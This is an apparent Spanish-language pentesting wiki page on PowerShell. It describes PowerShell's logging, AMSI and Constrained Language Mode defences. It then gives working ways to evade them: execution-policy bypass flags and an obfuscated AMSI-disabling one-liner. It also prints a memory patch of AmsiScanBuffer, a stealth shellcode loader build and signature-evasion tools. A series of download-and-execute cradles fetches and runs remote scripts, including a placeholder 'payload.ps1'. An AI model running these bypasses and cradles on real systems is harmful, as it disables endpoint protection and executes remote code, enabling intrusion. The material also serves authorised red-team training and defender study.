# PowerShell

## <mark style="color:red;">Defensas de PowerShell</mark>

### **System-wide transcription**

Graba toda la salida de las sesiones PowerShell (comandos y resultados). Cada comando y su salida quedan registrados. Si ejecutas Mimikatz en PS, va todo al log.

Se configura vía **GPO**:

* `Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription`

Guarda logs en:

```
C:\Users\%USERNAME%\Documents\PowerShell_transcripts\
```

### **Script Block Logging**

Registra bloques de código completos antes de ejecutarse (no solo comandos escritos a mano, sino scripts cargados). Guarda hasta el contenido de scripts ofuscados → PowerShell decompila la ofuscación simple. Tu [*cradle* ](#user-content-fn-1)[^1]y *payload* quedan registrados aunque nunca toquen disco.

**Ejemplo:**\
Si cargas un script con `iex (iwr ...)`, el bloque completo puede aparecer en el log.

Log en **Event Viewer → Windows PowerShell/Operational (Event ID 4104)**.

### **AMSI (Antimalware Scan Interface)**

{% hint style="info" %}
**¿Qué es AMSI?**

**AMSI** es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos *en tiempo de ejecución*, escaneándolos antes de ser ejecutados.

<https://learn.microsoft.com/es-es/windows/win32/amsi/antimalware-scan-interface-portal>
{% endhint %}

Interfaz entre PowerShell y el AV/EDR.&#x20;

Antes de ejecutar un script, PowerShell manda el contenido a **AMSI.dll**, por lo que, el AV lo analiza en tiempo real.

* **Ejemplo:**\
  Si ejecutas `Invoke-Mimikatz.ps1`, AMSI lo detecta por firmas.

**Logs:** Windows Defender lo reporta en `Operational log` o en el SIEM.

AMSI bloquea muchos payloads conocidos. Es necesario evadirlo: [#amsi-.net-bypass](https://www.xtormin.com/pentesting-en-infraestructuras/windows#amsi-.net-bypass "mention")

### **Constrained Language Mode (CLM)**

Modo restringido de PowerShell, limita el lenguaje a “seguro”.

Integrado con **AppLocker / Windows Defender Application Control (WDAC)**.

**Restricciones típicas:**

* No puedes invocar APIs .NET avanzadas.
* Bloquea Add-Type, COM objects, acceso directo a memoria.
* Scripts firmados por Microsoft siguen funcionando.

**Cómo se activa:** Automáticamente en sistemas con **Device Guard**, o vía políticas.

Técnicas clásicas como `New-Object Net.WebClient`, `Add-Type`, `DllImport` se encuentran bloqueadas.

### Resumen

En cuanto a qué hace cada defensa:

* Transcription (guarda todo lo que haces en texto)
* Script Block Logging (logea el código cargado → EventID 4104)
* AMSI (envía a AV/EDR antes de ejecutar)
* CLM (limita qué puedes usar en PowerShell)

En PSv2 y anterior → no existe AMSI, CLM ni Script Block Logging → entorno mucho más “ciego”.

En PSv5+ → Blue Team tiene **visibilidad total** si no usas evasión.

Técnicas de bypass:

* **Invisi-Shell** (hookea Automation.dll para saltar logging).
* **AMSI bypasses** (modificar AmsiUtils en memoria).
* **Obfuscación** (Invoke-Obfuscation).
* **Migrar a otro proceso** (cargar DLLs directamente con C#).

***

## <mark style="color:red;">Política de ejecución (Execution Policy)</mark>

### Habilitar ejecución de scripts

El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).

```powershell
powershell -nop -exec bypass
```

Otras vías de bypass:

```powershell
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"
```

## <mark style="color:red;">**Evasión de seguridad**</mark>

### Invisi-Shell

Invisi-Shell es una herramienta diseñada para **bypassear las defensas de PowerShell**.\
Lo que hace es enganchar (*hookear*) las librerías de .NET que usa PowerShell:

* `System.Management.Automation.dll`
* `System.Core.dll`

Utiliza la API de **CLR Profiler** (un DLL especial que el *Common Language Runtime* carga en tiempo de ejecución) para interceptar llamadas y modificar el comportamiento.

**Descarga de la herramienta:**

```powershell
git clone "https://github.com/OmerYa/Invisi-Shell.git"
```

**Ejecución:**

{% hint style="danger" %}
Cuando se termine, hay que salir con `exit` para cerrar la sesión y limpiar los cambios.
{% endhint %}

* Sin privilegios de administrador:

```
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FHzPgO1ktTFzP7V4EZxsS%2Fimage.png?alt=media&#x26;token=469c53b2-d4f2-4e47-a294-af33a6b06045" alt=""><figcaption></figcaption></figure>

* Con privilegios de administrador:

```powershell
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
```

### AMSI PowerShell Bypass

[**https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)

{% code overflow="wrap" %}

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endcode %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fn6mz7C9sVpfIIDXUvuhu%2Fimage.png?alt=media&#x26;token=f90c06e0-1503-45e9-9bed-c5af2bdfd245" alt=""><figcaption></figcaption></figure>

### AMSI .NET Bypass

[**https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/**](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/)

En la siguiente tabla se enumeran algunos *scripts* que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el *script* sin restricción:

**Windows 10**

<table><thead><tr><th width="140">Fecha</th><th>Técnica / Payload</th></tr></thead><tbody><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse</a></td></tr></tbody></table>

Por ejemplo:

<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse>

```powershell
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

### Loaders

Artefacto de carga (*loader*) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.

#### SilentLoader

<https://github.com/xtormin/SilentLoader>

{% code overflow="wrap" %}

```powershell
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
```

{% endcode %}

```powershell
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
```

### Bypass de firmas conocidas en el código

Algunas formas de evadir las protecciones son:

* Carga en memoria (*fileless*).
* Identificación de las partes del *script* que son detectadas.
* Ofuscación completa del script.

#### Carga en memoria

```powershell
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
```

#### Identificación de partes detectadas

* AMSITrigger: Te dice qué línea/parte del script dispara AMSI.

```powershell
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
```

* **DefenderCheck:** Escanea un script y te indica qué strings son detectados por Windows Defender.

```powershell
DefenderCheck.exe PowerUp.ps1
```

Esto te devuelve la **posición en bytes** donde hay una detección. **Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.**

```powershell
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
```

#### Ofuscación completa

* [**Invoke-Obfuscation**](https://github.com/danielbohannon/Invoke-Obfuscation)**:**
  * Renombrar funciones y variables.
  * Codificar partes sensibles (ejemplo: `"Invoke-Mimikatz"` se convierte en algo ilegible).
  * Generar payloads en múltiples formatos (base64, rot13, string split, etc.).

## Descarga de ficheros

### **One-liners de descarga**

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content

Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code

iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe

.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
```

{% endcode %}

### Consideraciones sobre versiones de PowerShell

#### **PowerShell v1 (2006, Windows XP/2003)**

{% hint style="warning" %}

* No existe `Invoke-WebRequest (iwr)`.
* Solo soporta **SSL3/TLS1.0** → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
* Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
* Alternativas:
  * `Msxml2.XMLHTTP`
  * `InternetExplorer.Application` (COM)
    {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v2 (2009, Windows 7 / 2008R2)**

{% hint style="warning" %}

* Sigue sin existir `Invoke-WebRequest`.
* Mismo problema con TLS moderno (solo TLS1.0).
* Todavía bastante usado en entornos legacy → ideal para labs.
  {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v3 (2012, Windows 8 / 2012 Server)**

{% hint style="success" %}
Ya existe `Invoke-WebRequest`
{% endhint %}

{% hint style="warning" %}

* `iwr` es más “verboso” y puede lanzar errores si no usas `.Content`:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">iex (iwr 'http://servidor/payload.ps1').Content
  </code></pre>
* TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  </code></pre>

{% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1')
```

#### **PowerShell v4 (2013, Windows 8.1 / 2012R2)**

{% hint style="warning" %}
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
{% endhint %}

#### **PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)**

{% hint style="warning" %}

* Aquí entran en juego defensas modernas:
  * **Script Block Logging**
  * **AMSI (Antimalware Scan Interface)**
  * **Constrained Language Mode**
* Muchos cradles empiezan a ser detectados por EDR.
* Se usan técnicas de **obfuscación** (Invoke-Obfuscation) o bypasses AMSI.
  {% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
```

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

#### **PowerShell Core (6, 7 → multiplataforma, 2018+)**

{% hint style="warning" %}

* No existen COM objects (`XMLHTTP`, `InternetExplorer.Application`) → ya no funcionan esos cradles.
* AMSI y logging siguen activos.
* Al ser cross-platform, no todo el arsenal clásico (ej. PowerView\.ps1) funciona directamente.
  {% endhint %}

Ejemplos:

{% code overflow="wrap" %}

```powershell
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
```

{% endcode %}

###

[^1]: Comando corto de descarga de scripts o payloads desde internet o intranet que se ejecuta directamente en memoria, sin guardar en disco.
